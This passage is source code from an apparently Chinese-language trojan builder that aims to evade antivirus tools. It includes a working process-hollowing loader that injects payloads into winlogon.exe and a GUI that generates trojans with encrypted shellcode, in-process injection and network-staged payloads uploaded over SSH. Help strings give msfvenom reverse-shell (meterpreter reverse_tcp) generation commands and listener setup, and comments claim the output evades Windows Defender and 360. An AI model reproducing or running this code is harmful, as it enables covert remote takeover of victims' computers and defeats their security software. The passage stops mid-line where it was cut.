tip1=f"已成功生成木马:{os.path.dirname(os.path.abspath(__file__))+os.sep+'result'+self.file}.exe
" 155 | tip2=f"您使用了shellcode本地分离模式,请将PayloadFile文件和木马放在同目录下运行" if self.mode=='local' else f"使用了shellcode网络分离模式,请确定已经将每次生成的PayloadFile(每次会变)放于服务器上[如果配置了SSH服务器将会自动同步],URL地址:{self.url}" 156 | tip3=f" url已写入木马文件,可直接运行exe" if self.is_urlWriteIn else f"
url未写入木马文件,请运行{self.file}.exe {self.url if self.url else 'http://x.x.x.x'}
" 157 | 158 | 159 | return tip1+(tip2 if self.mode else '') +(tip3 if self.mode=='network' else "") 160 | 161 | if __name__ == '__main__': 162 | arg={ 163 | 'shellcodeLoaderType':'VirtualAlloc1.py', 164 | 'cryptoType':'base64Enc.py', 165 | 'spliteMode': 'network', 166 | 'payloadFile':r'D:/BaiduSyncdisk/dyb/a_penetration/kali_tools/my_project/project/BypassAV/掩月/config/payloadJQuery.py', 167 | 'url':'http://100.100.100.2/PayloadFile', 168 | 'is_64':2, 169 | 'is_hidden':0, 170 | 'is_savePyFile':2, 171 | 'is_urlWriteIn':2, 172 | 'otherdic':{} 173 | } 174 | 175 | 176 | 177 | Creater(arg).run() -------------------------------------------------------------------------------- /shellcodeLoader/ProcessHollowing.py: -------------------------------------------------------------------------------- 1 | import json 2 | import logging 3 | import platform 4 | import re 5 | import sys 6 | import subprocess 7 | from ctypes import * 8 | from ctypes.wintypes import * 9 | 10 | 11 | info="测试进程镂空winlogon.exe可以稳定在denfender、360等杀软防护下稳定上线,虽然defender会告警提示发现病毒木马,但并不会强制结束winlogon.exe,因此可以稳定上线使用。" 12 | 13 | CREATE_SUSPENDED = 0x00000004 14 | CONTEXT_FULL = 0x10000B 15 | WOW64_CONTEXT_FULL = 0x10007 16 | 17 | MEM_COMMIT = 0x1000 18 | MEM_RESERVE = 0x2000 19 | PAGE_EXECUTE_READWRITE = 0x40 20 | 21 | DWORD64 = c_ulonglong 22 | 23 | WOW64_MAXIMUM_SUPPORTED_EXTENSION = 512 24 | 25 | 26 | class SECURITY_ATTRIBUTES(Structure): 27 | _fields_ = [ 28 | ("nLength", DWORD), 29 | ("lpSecurityDescriptor", LPVOID), 30 | ("bInheritHandle", BOOL), 31 | ] 32 | 33 | 34 | class PROCESS_INFORMATION(Structure): 35 | _fields_ = [ 36 | ("hProcess", HANDLE), 37 | ("hThread", HANDLE), 38 | ("dwProcessId", DWORD), 39 | ("dwThreadId", DWORD), 40 | ] 41 | 42 | 43 | class STARTUPINFO(Structure): 44 | _fields_ = [ 45 | ("cb", DWORD), 46 | ("lpReserved", LPWSTR), 47 | ("lpDesktop", LPWSTR), 48 | ("lpTitle", LPWSTR), 49 | ("dwX", DWORD), 50 | ("dwY", DWORD), 51 | ("dwXSize", DWORD), 52 | ("dwYSize", DWORD), 53 | ("dwXCountChars", DWORD), 54 | ("dwYCountChars", DWORD), 55 | ("dwFillAttribute", DWORD), 56 | ("dwFlags", DWORD), 57 | ("wShowWindow", WORD), 58 | ("cbReserved2", WORD), 59 | ("lpReserved2", POINTER(BYTE)), 60 | ("hStdInput", HANDLE), 61 | ("hStdOutput", HANDLE), 62 | ("hStdError", HANDLE), 63 | ] 64 | 65 | 66 | class WOW64_FLOATING_SAVE_AREA(Structure): 67 | _fields_ = [ 68 | ("ControlWord", DWORD), 69 | ("StatusWord", DWORD), 70 | ("TagWord", DWORD), 71 | ("ErrorOffset", DWORD), 72 | ("ErrorSelector", DWORD), 73 | ("DataOffset", DWORD), 74 | ("DataSelector", DWORD), 75 | ("RegisterArea", BYTE * 80), 76 | ("Cr0NpxState", DWORD), 77 | ] 78 | 79 | 80 | class WOW64_CONTEXT(Structure): 81 | _fields_ = [ 82 | ("ContextFlags", DWORD), 83 | ("Dr0", DWORD), 84 | ("Dr1", DWORD), 85 | ("Dr2", DWORD), 86 | ("Dr3", DWORD), 87 | ("Dr6", DWORD), 88 | ("Dr7", DWORD), 89 | ("FloatSave", WOW64_FLOATING_SAVE_AREA), 90 | ("SegGs", DWORD), 91 | ("SegFs", DWORD), 92 | ("SegEs", DWORD), 93 | ("SegDs", DWORD), 94 | ("Edi", DWORD), 95 | ("Esi", DWORD), 96 | ("Ebx", DWORD), 97 | ("Edx", DWORD), 98 | ("Ecx", DWORD), 99 | ("Eax", DWORD), 100 | ("Ebp", DWORD), 101 | ("Eip", DWORD), 102 | ("SegCs", DWORD), 103 | ("EFlags", DWORD), 104 | ("Esp", DWORD), 105 | ("SegSs", DWORD), 106 | ("ExtendedRegisters", BYTE * WOW64_MAXIMUM_SUPPORTED_EXTENSION), 107 | ] 108 | 109 | 110 | class M128A(Structure): 111 | _fields_ = [("Low", DWORD64), ("High", DWORD64)] 112 | 113 | 114 | class XMM_SAVE_AREA32(Structure): 115 | _pack_ = 1 116 | _fields_ = [ 117 | ("ControlWord", WORD), 118 | ("StatusWord", WORD), 119 | ("TagWord", BYTE), 120 | ("Reserved1", BYTE), 121 | ("ErrorOpcode", WORD), 122 | ("ErrorOffset", DWORD), 123 | ("ErrorSelector", WORD), 124 | ("Reserved2", WORD), 125 | ("DataOffset", DWORD), 126 | ("DataSelector", WORD), 127 | ("Reserved3", WORD), 128 | ("MxCsr", DWORD), 129 | ("MxCsr_Mask", DWORD), 130 | ("FloatRegisters", M128A * 8), 131 | ("XmmRegisters", M128A * 16), 132 | ("Reserved4", BYTE * 96), 133 | ] 134 | 135 | 136 | class DUMMYSTRUCTNAME(Structure): 137 | _fields_ = [ 138 | ("Header", M128A * 2), 139 | ("Legacy", M128A * 8), 140 | ("Xmm0", M128A), 141 | ("Xmm1", M128A), 142 | ("Xmm2", M128A), 143 | ("Xmm3", M128A), 144 | ("Xmm4", M128A), 145 | ("Xmm5", M128A), 146 | ("Xmm6", M128A), 147 | ("Xmm7", M128A), 148 | ("Xmm8", M128A), 149 | ("Xmm9", M128A), 150 | ("Xmm10", M128A), 151 | ("Xmm11", M128A), 152 | ("Xmm12", M128A), 153 | ("Xmm13", M128A), 154 | ("Xmm14", M128A), 155 | ("Xmm15", M128A), 156 | ] 157 | 158 | 159 | class DUMMYUNIONNAME(Union): 160 | _fields_ = [("FltSave", XMM_SAVE_AREA32), ("DummyStruct", DUMMYSTRUCTNAME)] 161 | 162 | 163 | class CONTEXT64(Structure): 164 | _pack_ = 16 165 | _fields_ = [ 166 | ("P1Home", DWORD64), 167 | ("P2Home", DWORD64), 168 | ("P3Home", DWORD64), 169 | ("P4Home", DWORD64), 170 | ("P5Home", DWORD64), 171 | ("P6Home", DWORD64), 172 | ("ContextFlags", DWORD), 173 | ("MxCsr", DWORD), 174 | ("SegCs", WORD), 175 | ("SegDs", WORD), 176 | ("SegEs", WORD), 177 | ("SegFs", WORD), 178 | ("SegGs", WORD), 179 | ("SegSs", WORD), 180 | ("EFlags", DWORD), 181 | ("Dr0", DWORD64), 182 | ("Dr1", DWORD64), 183 | ("Dr2", DWORD64), 184 | ("Dr3", DWORD64), 185 | ("Dr6", DWORD64), 186 | ("Dr7", DWORD64), 187 | ("Rax", DWORD64), 188 | ("Rcx", DWORD64), 189 | ("Rdx", DWORD64), 190 | ("Rbx", DWORD64), 191 | ("Rsp", DWORD64), 192 | ("Rbp", DWORD64), 193 | ("Rsi", DWORD64), 194 | ("Rdi", DWORD64), 195 | ("R8", DWORD64), 196 | ("R9", DWORD64), 197 | ("R10", DWORD64), 198 | ("R11", DWORD64), 199 | ("R12", DWORD64), 200 | ("R13", DWORD64), 201 | ("R14", DWORD64), 202 | ("R15", DWORD64), 203 | ("Rip", DWORD64), 204 | ("DebugControl", DWORD64), 205 | ("LastBranchToRip", DWORD64), 206 | ("LastBranchFromRip", DWORD64), 207 | ("LastExceptionToRip", DWORD64), 208 | ("LastExceptionFromRip", DWORD64), 209 | ("DUMMYUNIONNAME", DUMMYUNIONNAME), 210 | ("VectorRegister", M128A * 26), 211 | ("VectorControl", DWORD64), 212 | ] 213 | 214 | 215 | 216 | 217 | def main(dic=dict()): 218 | print(type(dic)) 219 | print(type(json.loads(dic))) 220 | if not isinstance(dic,dict): 221 | dic=json.loads(dic) 222 | TARGET_EXE = dic.get('TARGET_EXE') 223 | if not TARGET_EXE: 224 | TARGET_EXE='winlogon.exe' 225 | USING_64_BIT = platform.architecture()[0] == '64bit' 226 | # PE_TYPE,ImageBase,SizeOfImage,SizeOfHeaders,AddressOfEntryPoint,get_field_absolute_offset,payload_data,sections=getPayload() 227 | PE_TYPE=dic.get('PE_TYPE') 228 | ImageBase=dic.get('ImageBase') 229 | SizeOfImage=dic.get('SizeOfImage') 230 | SizeOfHeaders=dic.get('SizeOfHeaders') 231 | AddressOfEntryPoint=dic.get('AddressOfEntryPoint') 232 | get_field_absolute_offset=dic.get('get_field_absolute_offset') 233 | payload_data=dic.get('payload_data').encode('latin1') 234 | sections=dic.get('sections') 235 | # ImageBase=dic['ImageBase'] 236 | # ImageBase=dic['ImageBase'] 237 | 238 | logger = logging.getLogger(__name__) 239 | logging.basicConfig( 240 | format="[%(asctime)s] %(levelname)s: %(message)s", 241 | level=logging.DEBUG, 242 | datefmt="%Y-%m-%d %H:%M:%S", 243 | ) 244 | 245 | startup_info = STARTUPINFO() 246 | startup_info.cb = sizeof(startup_info) 247 | process_info = PROCESS_INFORMATION() 248 | 249 | 250 | if windll.kernel32.CreateProcessA( 251 | None, 252 | create_string_buffer(bytes(TARGET_EXE, encoding="ascii")), 253 | None, 254 | None, 255 | False, 256 | CREATE_SUSPENDED, #dwCreationFlags:0x00000004的值,代表新进程的主线程处于挂起状态创建,在调用 ResumeThread 函数之前不会运行。 257 | None, 258 | None, 259 | byref(startup_info), 260 | byref(process_info), 261 | ) == 0: 262 | logger.error(f"挂起{TARGET_EXE}失败: {FormatError(GetLastError())}") 263 | sys.exit(1) 264 | logger.debug(f"挂起{TARGET_EXE}成功,进程ID: {process_info.dwProcessId}") 265 | 266 | 267 | context = CONTEXT64() if USING_64_BIT else WOW64_CONTEXT() 268 | context.ContextFlags = CONTEXT_FULL if USING_64_BIT else WOW64_CONTEXT_FULL 269 | if windll.kernel32.GetThreadContext(process_info.hThread, byref(context)) == 0: 270 | logger.error(f"获取目标线程上下文失败: {FormatError(GetLastError())}") 271 | sys.exit(1) 272 | 273 | logger.info(f"获取目标线程上下文成功") 274 | target_image_base = LPVOID() 275 | if windll.kernel32.ReadProcessMemory( 276 | process_info.hProcess, 277 | LPVOID((context.Rdx if USING_64_BIT else context.Ebx) + 2 * sizeof(c_size_t)), 278 | byref(target_image_base), 279 | sizeof(LPVOID), 280 | None 281 | ) == 0: 282 | logger.error(f"获取目标基地址失败: {FormatError(GetLastError())}") 283 | sys.exit(1) 284 | logger.debug(f"获取目标进程基地址成功: {hex(target_image_base.value)}") 285 | 286 | if target_image_base == ImageBase: 287 | logger.info("Unmapping target executable from the process ") 288 | if windll.ntdll.NtUnmapViewOfSection(process_info.hProcess, target_image_base) == 0: 289 | logger.error(f"Error in NtUnmapViewOfSection: {FormatError(GetLastError())}") 290 | sys.exit(1) 291 | 292 | 293 | if USING_64_BIT: 294 | windll.kernel32.VirtualAllocEx.restype = LPVOID 295 | allocated_address = windll.kernel32.VirtualAllocEx( 296 | process_info.hProcess, 297 | LPVOID(ImageBase), 298 | SizeOfImage, 299 | MEM_COMMIT | MEM_RESERVE, 300 | PAGE_EXECUTE_READWRITE, 301 | ) 302 | if allocated_address == 0: 303 | logger.error(f"VirtualAllocEx申请内存失败: {FormatError(GetLastError())}") 304 | sys.exit(1) 305 | logger.debug(f"VirtualAllocEx申请内存成功:{hex(allocated_address)}") 306 | 307 | 308 | if windll.kernel32.WriteProcessMemory( 309 | process_info.hProcess, 310 | LPVOID(allocated_address), 311 | payload_data, 312 | SizeOfHeaders, 313 | None, 314 | ) == 0: 315 | logger.error(f"向{hex(allocated_address)}中写入payload失败: {FormatError(GetLastError())}") 316 | sys.exit(1) 317 | logger.info(f"将payload写入刚申请的地址:{hex(allocated_address)}") 318 | 319 | 320 | for section in sections: 321 | section_name = section['sectionName'] 322 | logger.info(f"将payload的section {section_name} 写入 {hex(allocated_address + section['sectionVirtualAddress'])}(目标进程中申请的基地址+payload section的偏移)") 323 | if windll.kernel32.WriteProcessMemory( 324 | process_info.hProcess, 325 | LPVOID(allocated_address + section['sectionVirtualAddress']), 326 | payload_data[section['sectionPointerToRawData']:], 327 | section['sectionSizeOfRawData'], 328 | None, 329 | ) == 0: 330 | logger.error(f"修改Section失败: {FormatError(GetLastError())}") 331 | sys.exit(1) 332 | 333 | logger.info("修改Section成功") 334 | 335 | if USING_64_BIT: 336 | context.Rcx = allocated_address + AddressOfEntryPoint 337 | logger.debug(f"新的entrypoint: {hex(context.Rcx)}(目标进程中申请的基地址+payload的entrypoint)") 338 | else: 339 | context.Eax = allocated_address + AddressOfEntryPoint 340 | logger.debug(f"New entrypoint: {hex(context.Eax)}(目标进程中申请的基地址+payload的entrypoint)") 341 | 342 | 343 | if windll.kernel32.WriteProcessMemory( 344 | process_info.hProcess, 345 | LPVOID((context.Rdx if USING_64_BIT else context.Ebx) + 2 * sizeof(c_size_t)), 346 | payload_data[get_field_absolute_offset:], 347 | sizeof(LPVOID), 348 | None, 349 | ) == 0: 350 | logger.error(f"修改entrypoint失败: {FormatError(GetLastError())}") 351 | sys.exit(1) 352 | logger.info("修改entrypoint成功") 353 | 354 | 355 | if windll.kernel32.SetThreadContext(process_info.hThread, byref(context)) == 0: 356 | logger.error(f"修改目标线程上下文失败: {FormatError(GetLastError())}") 357 | sys.exit(1) 358 | logger.info("修改目标线程上下文成功") 359 | 360 | 361 | 362 | while True: 363 | #让挂起的进程 364 | value=windll.kernel32.ResumeThread(process_info.hThread) 365 | if value== 0: 366 | logger.error(f"恢复挂起进程: {FormatError(GetLastError())}") 367 | break 368 | 369 | 370 | # import time 371 | # time.sleep(20) 372 | 373 | def findExE(): 374 | cmd=f"tasklist" 375 | out=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE) 376 | infos=out.stdout.read().splitlines() 377 | exelist=[] #去重 378 | if len(infos) >=1: 379 | for i in infos: 380 | if not i: 381 | continue 382 | i=i.decode('gbk') 383 | exename=i.split()[0] 384 | if not re.search(r'.exe',exename): 385 | continue 386 | if exename not in exelist: 387 | exelist.append(exename) 388 | return exelist 389 | else: 390 | return -1 391 | 392 | if __name__ == '__main__': 393 | import shellcoder 394 | buf=shellcoder.main('','',r"C:\Users\d\Desktop\hack\payloadJQuery.py",'','',True) 395 | print('buf:\n',buf) 396 | main(buf) 397 | -------------------------------------------------------------------------------- /StormBypassAV.py: -------------------------------------------------------------------------------- 1 | #encoding:utf-8 2 | 3 | import importlib 4 | import os 5 | import re 6 | import sys 7 | import time 8 | 9 | import paramiko 10 | from PyQt5.QtCore import QThread, pyqtSignal, Qt, QRect 11 | from PyQt5.QtGui import QIcon 12 | from PyQt5.QtWidgets import QApplication, QMainWindow, QWidget, QVBoxLayout, QHBoxLayout, QLabel, QLineEdit, \ 13 | QPushButton, QButtonGroup, QRadioButton, QComboBox, QDesktopWidget, QFileDialog, QCheckBox, QFrame, QTextEdit 14 | 15 | from PyQt5.QtWidgets import QTabWidget 16 | import threading 17 | 18 | from TrojanCreater import Creater 19 | 20 | from lib.SSHServer import readConfig,saveConfig,getRemotePath 21 | from lib.SSHServer import main as sshMain 22 | import traceback 23 | from shellcoder import networkMode 24 | 25 | 26 | class Worker(QThread): 27 | sinOut = pyqtSignal(str) 28 | 29 | def __init__(self, parent=None): 30 | super(Worker, self).__init__(parent) 31 | #设置工作状态与初始num数值 32 | self.working = False 33 | self.num = 0 34 | 35 | def __del__(self): 36 | #线程状态改变与线程终止 37 | self.working = False 38 | self.wait() 39 | print('销毁') 40 | 41 | def run(self): 42 | print('run') 43 | while True: 44 | time.sleep(1) 45 | if self.working: 46 | # file_str = 'File index{0}'.format(self.num) 47 | self.num += 1 48 | # 发射信号 49 | self.sinOut.emit(str(self.num)) 50 | # 线程休眠2秒 51 | 52 | # self.__del__() 53 | 54 | 55 | class commonFun(): 56 | def __init__(self): 57 | print('init:',self) 58 | self.dic1={ 59 | '动态内存加载器1':'VirtualAlloc1.py', 60 | '动态内存加载器2':'VirtualAlloc2.py', 61 | 'ipv4加载器':'ipv4Loader.py', 62 | 'ipv6加载器':'ipv6Loader.py', 63 | 'mac加载器':'macLoader.py', 64 | 'uuid加载器':'uuidLoader.py', 65 | } 66 | self.dic2={ 67 | '进程镂空':'ProcessHollowing.py', 68 | '进程注入':'RemoteInject.py' 69 | 70 | } 71 | self.dic3={ 72 | 'base64+随机位移':'base64Enc.py', 73 | } 74 | self.dic4={} 75 | self.dic4.update(self.dic1) 76 | self.dic4.update(self.dic2) 77 | 78 | self.flush=Worker() 79 | self.flush.sinOut.connect(self.flush_ui) 80 | self.flush.start() 81 | 82 | def ChoseFileName(self): 83 | path=os.path.dirname(os.path.abspath(__file__))+os.sep+'config' 84 | try: 85 | os.makedirs(path) 86 | except: 87 | pass 88 | fname = QFileDialog.getOpenFileName(self, '选择文件名', path,f"Vertex file({self.fileType})",None,QFileDialog.DontUseNativeDialog) 89 | print(fname) 90 | if fname[0]: 91 | print(fname[0]) 92 | self.fileNameEdit.setText(fname[0]) 93 | 94 | self.changeEachTime() 95 | 96 | 97 | def GetMethod(self,pressed): 98 | 99 | source=self.sender() 100 | # print(pressed) 101 | # print(source.text()) 102 | if source.text()=='shellcode网络分离': 103 | print('?',pressed) 104 | if pressed: 105 | self.shellcodeSplitInfo='\n【shellcode网络分离】:\n从http或https站点加载shellcode(推荐使用https以更好的隐匿自己),可以做到shellcode不落地,配合进程注入和进程镂空、删除加载器文件等可以实现无文件落地的效果,具有很好的隐蔽性。勾选将URL写入木马可以免去运行时手动输入URL地址的情况,也可以选择在配置中添加web网站SSH的账号密码让脚本自动同步上传PayloadFile,【因为加密器可能会使用随机数导致每次生成的PayloadFile和shellcode加载器都不相同,所以每次重写生成后都需要更新你网站上的PayloadFile文件】' 106 | self.localsplit.setChecked(False) 107 | self.ipaddrEdit.setHidden(False if pressed else True) 108 | self.ipaddrLable.setHidden(False if pressed else True) 109 | self.urlWriteIn.setHidden(False if pressed else True) 110 | 111 | elif source.text()=='shellcode本地分离': 112 | if pressed: 113 | self.shellcodeSplitInfo='\n【shellcode本地分离】:\n将shellcode和加载器进行分离,具有不错的免杀效果,使用时需要将生成的xxx.exe和PayloadFile放在同目录,或运行时手动输入PayloadFile文件路径' 114 | self.networksplit.setChecked(False) 115 | self.ipaddrEdit.setHidden(True) 116 | self.ipaddrLable.setHidden(True) 117 | self.urlWriteIn.setHidden(True) 118 | 119 | else: 120 | pass 121 | # print(self.shellcodeCombo.currentText()) 122 | # print(self.localsplit.isChecked()) 123 | print(self.fileNameEdit.text()) 124 | 125 | 126 | 127 | if not pressed: 128 | self.shellcodeSplitInfo='' 129 | 130 | 131 | self.changeEachTime() 132 | 133 | 134 | def Getmapping(self,type_): 135 | 136 | if type_=='normal': 137 | return list(self.dic1.keys()) 138 | elif type_=='Encoder': 139 | return list(self.dic3.keys()) 140 | elif type_=='hidden': 141 | return list(self.dic2.keys()) 142 | 143 | def GetCombo(self): 144 | print(self.shellcodeCombo.currentText()) 145 | print(self.cryptorCombo.currentText()) 146 | self.shellcodeType=self.shellcodeCombo.currentText() 147 | self.cryptorType=self.cryptorCombo.currentText() 148 | if self.shellcodeCombo.currentText()=='进程注入' or self.shellcodeCombo.currentText()=='进程镂空': 149 | self.changeEachTime() 150 | 151 | self.changeEachTime() 152 | 153 | 154 | 155 | def setDefault(self,type_): 156 | 157 | if type_=='normal': 158 | self.nomalInfo='【普通模式】:\n经测试对360、VT等有很好的免杀效果' 159 | elif type_=='hidden': 160 | 161 | self.nomalInfo='【隐匿模式】:\n经测试,使用进程镂空winlogon.exe具有非常好的免杀和隐蔽效果,可以稳定上线Windows Defender、360' 162 | 163 | self.cryptorType=self.Getmapping('Encoder')[0] #获取加解密器的类型 164 | self.shellcodeType=self.Getmapping(type_)[0] #获取shellcode的类型 165 | self.shellcodeSplitInfo='' #shellcode分离类型 166 | self.shellcodeInfo='' #shelcode info信息 167 | self.cryptorInfo='' #加解密器的info信息 168 | self.url='' #url地址 169 | self.host='' #配置文件中host地址 170 | self.port=22 #配置文件中port 171 | self.username='' #配置文件中username 172 | self.password='' #配置文件中password 173 | self.remotepath='' #配置文件中remotepath 174 | 175 | 176 | self.changeEachTime() 177 | 178 | 179 | def getInfo(self,file): 180 | # print(file) 181 | file=file.replace('.py','') 182 | md=importlib.import_module(file) 183 | try: 184 | info = md.info 185 | except: 186 | info = '' 187 | return info 188 | 189 | def changeEachTime(self): 190 | print('刷新') 191 | if self.shellcodeType=='进程注入': 192 | self.fileType='*.py' 193 | self.targetEditInfo=f'(固定值:explorer.exe,测试注入其他进程无效)' 194 | # 设置目标进程名编辑框的默认提示信息: 195 | self.targetEdit.setPlaceholderText(self.targetEditInfo) 196 | self.fileNameEdit.setPlaceholderText('请选择cs或者msf生成的.py格式shellcode') 197 | elif self.shellcodeType=='进程镂空': 198 | self.targetEditInfo=f'(默认值:winlogon.exe,可修改为指定程序路径)' 199 | self.fileType='*.exe' 200 | # 设置目标进程名编辑框的默认提示信息: 201 | self.targetEdit.setPlaceholderText(self.targetEditInfo) 202 | self.fileNameEdit.setPlaceholderText('请选择cs或者msf生成的.exe木马') 203 | 204 | else: 205 | self.fileNameEdit.setPlaceholderText('请选择cs或者msf生成的.py格式shellcode') 206 | self.fileType='*.py' 207 | 208 | 209 | self.shellcodeInfo=self.getInfo('shellcodeLoader'+'.'+self.dic4[self.shellcodeType]) 210 | self.cryptorInfo=self.getInfo('Encoder'+'.'+self.dic3[self.cryptorType]) 211 | # print(self.shellcodeInfo) 212 | 213 | #每次改变tip提示信息 214 | 215 | self.tipInfo.setText(self.nomalInfo+f'\n\n【{self.cryptorType}】:\n{self.cryptorInfo}'+f'\n\n【{self.shellcodeType}】:\n'+self.shellcodeInfo+'\n'+self.shellcodeSplitInfo) 216 | 217 | 218 | #每次改变url地址: 219 | self.readSSHConfig() #重新读取SSH配置文件 220 | self.ipaddrEdit.setText(self.url) 221 | 222 | 223 | def readSSHConfig(self): 224 | value=readConfig() 225 | if not value: 226 | self.url='' 227 | else: 228 | self.host=value[0] 229 | self.port=value[1] 230 | self.username=value[2] 231 | self.password=value[3] 232 | self.remotepath=value[4] 233 | self.url=value[5]+'PayloadFile' 234 | 235 | 236 | def debug(self,arg): 237 | data=f"{self.shellcodeType}模式请选择{'.exe' if self.shellcodeType=='进程镂空' else '.py'}格式payload" 238 | str00=f'{data}' 239 | str0=f'请选择cs或msf生成的{".exe" if self.shellcodeType=="进程镂空" else ".py" }格式shellcode' 240 | 241 | str1=f"""

【CS】:
242 | payload生成器-> 输出格式Python(勾选x64) 243 | 244 | 【msf】: 245 | msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -i 3 -f python -o cspayload.py
246 |
247 | 【开启msf监听】:
248 | > use exploit/multi/handler
249 | > set lhost x.x.x.x
250 | > set lport xxx
251 | > set payload windows/x64/meterpreter/reverse_tcp
252 | > run
253 | """ 254 | str2=f""":

【CS】: 255 | Windows可执行程序(勾选x64)
256 |
257 | 【msf】:
258 | msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -b\'\\x00\' -f exe > csartifacet.exe
259 |
260 | 【开启msf监听】:
261 | > use exploit/multi/handler
262 | > set lhost x.x.x.x
263 | > set lport xxx
264 | > set payload windows/x64/meterpreter/reverse_tcp
265 | > run
266 | 267 | """ 268 | 269 | if not arg.get('payloadFile'): 270 | # self.tipInfo.setText('aaaa') 271 | self.tipInfo.setText(str0+(str2 if self.shellcodeType=="进程镂空" else str1)) 272 | return False 273 | 274 | if self.shellcodeType=='进程镂空' : 275 | if re.search(r'\.exe',self.fileNameEdit.text()): 276 | return True 277 | else: 278 | self.tipInfo.setText(str00+(str2 if self.shellcodeType=="进程镂空" else str1)) 279 | return False 280 | else: 281 | if re.search(r'\.py',self.fileNameEdit.text()): 282 | return True 283 | else: 284 | self.tipInfo.setText(str00+(str2 if self.shellcodeType=="进程镂空" else str1)) 285 | return False 286 | 287 | 288 | return True 289 | 290 | 291 | def GoRun(self): 292 | #刷新一下 293 | self.changeEachTime() 294 | 295 | spliteMode='' 296 | if self.localsplit.isChecked(): 297 | spliteMode='local' 298 | elif self.networksplit.isChecked(): 299 | spliteMode='network' 300 | 301 | try: 302 | TARGET_EXE=self.targetEdit.text() 303 | except: 304 | TARGET_EXE='' 305 | 306 | 307 | is_urlWriteIn=self.urlWriteIn.checkState() 308 | if spliteMode=='network' and not self.ipaddrEdit.text().strip(): 309 | is_urlWriteIn=0 310 | 311 | 312 | arg={ 313 | 'shellcodeLoaderType':self.dic4[self.shellcodeCombo.currentText()], 314 | 'cryptoType':self.dic3[self.cryptorCombo.currentText()], 315 | 'spliteMode': spliteMode, 316 | 'payloadFile':self.fileNameEdit.text(), 317 | 'url':self.ipaddrEdit.text(), 318 | 319 | 'is_64':self.check64.checkState(), 320 | 'is_hidden':self.hiddenWindow.checkState(), 321 | 'is_savePyFile':self.savePyFile.checkState(), 322 | 'is_urlWriteIn':is_urlWriteIn, 323 | 'otherdic':{"TARGET_EXE":TARGET_EXE} 324 | 325 | } 326 | print(arg) 327 | if self.debug(arg): 328 | #重新读取SSH配置文件 329 | self.readSSHConfig() 330 | 331 | #生成木马文件 332 | self.t_main(self.t_gorun,arg) 333 | 334 | 335 | 336 | 337 | 338 | def changeConfig(self): 339 | 340 | result=saveConfig(self.hostEdit.text(), 341 | self.portEdit.text(), 342 | self.usernameEdit.text(), 343 | self.passwordEdit.text(), 344 | self.remotepathEdit.text(), 345 | self.urlEdit.text() 346 | ) 347 | print(result) 348 | if not result: 349 | self.tipInfo.setText('修改成功!') 350 | else: 351 | self.tipInfo.setText(result) 352 | 353 | def testConnect(self): 354 | # result=testConnect( 355 | # self.hostEdit.text(), 356 | # self.portEdit.text(), 357 | # self.usernameEdit.text(), 358 | # self.passwordEdit.text() 359 | # ) 360 | # if not result: 361 | # self.tipInfo.setText('服务器连接成功!') 362 | # else: 363 | # 364 | # self.tipInfo.setText(result) 365 | self.t_main(self.t_testConnect,self.hostEdit.text(),self.portEdit.text(),self.usernameEdit.text(),self.passwordEdit.text()) 366 | print('yes') 367 | 368 | 369 | def t_gorun(self,arg): 370 | 371 | self.result='正在执行,请稍等' 372 | self.flush.working=True 373 | try: 374 | if arg['spliteMode']=='network': 375 | 376 | 377 | if self.host and self.port and self.username and self.password and self.url: 378 | if self.urlWriteIn.checkState(): 379 | #要将url写入exe 380 | #1.服务器健康检测 381 | self.result=f'
正在测试连接SSH服务器{self.host}:{self.port}' 382 | if self.t_testConnect(self.host,self.port,self.username,self.password): 383 | self.result += "
正在检测url地址" 384 | else: 385 | # self.result = f'SSH连接服务器{self.host}:{self.port}失败!' 386 | return False 387 | #2.url检测 388 | if networkMode(self.url): 389 | self.result+="
PayloadFile URL健康检测通过
正在生成木马" 390 | else: 391 | #url不写入exe 392 | self.result = "配置URL不写入木马,运行时候需要手动输入URL,正在生成木马" 393 | 394 | else: 395 | self.result = "未在配置中添加完整的SSH服务器信息和URL信息,生成的PayloadFile必须手动上传到服务器(每次会变化)
正在生成木马" 396 | #3.生成木马 397 | result=Creater(arg).run() 398 | self.result = result 399 | 400 | #4.如果是网络分离模式,如果配置了SSH服务器,那么自动将生成的PayloadFile文件同步到服务器。 401 | sshMain(self.host, 402 | int(self.port), 403 | self.username, 404 | self.password, 405 | f"{os.path.dirname(os.path.abspath(__file__))+os.sep+'result'+os.sep+'PayloadFile'}", 406 | self.remotepath) 407 | else: 408 | #1.生成木马 409 | result=Creater(arg).run() 410 | self.result = result 411 | except: 412 | self.result=traceback.format_exc() 413 | 414 | 415 | def t_testConnect(self,ssh_host, ssh_port, ssh_user, ssh_password): 416 | try: 417 | print('?1') 418 | # 创建SSH客户端对象 419 | ssh = paramiko.SSHClient() 420 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 421 | print('?2') 422 | # 连接SSH服务器 423 | 424 | ssh.connect(ssh_host, ssh_port, ssh_user, ssh_password) 425 | print('?3') 426 | self.result=f"连接{ssh_host}:{ssh_port}成功" 427 | return True 428 | except: 429 | self.result=traceback.format_exc() 430 | return False 431 | 432 | def t_main(self,fun,*args): 433 | self.result='正在执行,请稍等' 434 | self.flush.working=True 435 | t=threading.Thread(target=fun,args=(args)) 436 | t.start() 437 | 438 | 439 | 440 | def flush_ui(self,num): 441 | # print(self.result) 442 | # print(num) 443 | 444 | if re.search('正在执行,请稍等',self.result): 445 | self.result='正在执行,请稍等'+'.'*int(num) 446 | if int(num)>6: 447 | self.flush.num=0 448 | elif re.search('正在',self.result): 449 | self.result += '.' 450 | else: 451 | self.flush.working=False 452 | self.tipInfo.setStyleSheet("color: rgba(0, 0, 0, 128);") 453 | self.tipInfo.setText(self.result) 454 | 455 | 456 | 457 | class Common(QWidget,commonFun): 458 | def __init__(self): 459 | super().__init__() 460 | 461 | 462 | #go 463 | self.gobtn=QPushButton("Go") 464 | self.gobtn.resize(50,50) 465 | self.gobtn.clicked.connect(self.GoRun) 466 | 467 | 468 | # 第一排 469 | self.localsplit = QPushButton("shellcode本地分离") 470 | 471 | self.networksplit = QPushButton("shellcode网络分离") 472 | 473 | self.localsplit.setCheckable(True) 474 | 475 | self.networksplit.setCheckable(True) 476 | self.localsplit.clicked.connect(self.GetMethod) 477 | self.networksplit.clicked.connect(self.GetMethod) 478 | 479 | # 第二排 480 | self.fileNameLabel = QLabel("payload:") 481 | self.fileNameEdit = 